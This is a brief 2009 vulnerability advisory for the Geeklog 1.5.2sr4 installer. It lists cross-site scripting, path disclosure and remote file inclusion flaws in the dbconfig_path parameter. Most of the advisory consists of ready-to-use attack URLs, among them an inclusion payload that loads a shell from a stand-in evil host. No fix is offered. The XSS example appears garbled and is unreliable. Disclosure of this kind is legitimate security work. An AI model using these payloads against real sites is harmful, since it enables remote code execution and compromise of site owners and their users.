Geeklog - Pre-Installation Vulnerabilities

Version Affected: 1.5.2sr4 (18th April 2009) (newest)

Info: See website for more details.

Opinion: The system seems to be more secure than most web application systems on the Internet these days.

Credits: InterN0T

External Links:
http://www.geeklog.net/ 


-:: The Advisory ::-

Vulnerable Function / ID Calls:
dbconfig_path, contains multiple bugs that can be used to perform: XSS, RFI and Path Disclosure.

Cross Site Scripting: 
dbconfig_path=">dbconfig_path="> 

Path Disclosure:
http://www.website.tld/geeklog/public_html/admin/install/index.php?mode='&dbconfig_path=' 

Remote File Inclusion:
http://www.website.tld/geeklog/public_html/admin/install/index.php?mode='&dbconfig_path=http://www.evilsite.tld/shell.txt? 


-:: Solution ::-
I didn't bother to find one, sorry.

Reference:
http://forum.intern0t.net/intern0t-advisories/1083-intern0t-geeklog-1-5-pre-installation-vulnerabilities.html 

Disclosure Information:
- Vulnerabilities found and confirmed between 1st and 3rd June 2009.
- Published at InterN0T the 3rd June 2009.
- Bugtraq contacted the 3rd June 2009.


All of the best,
MaXe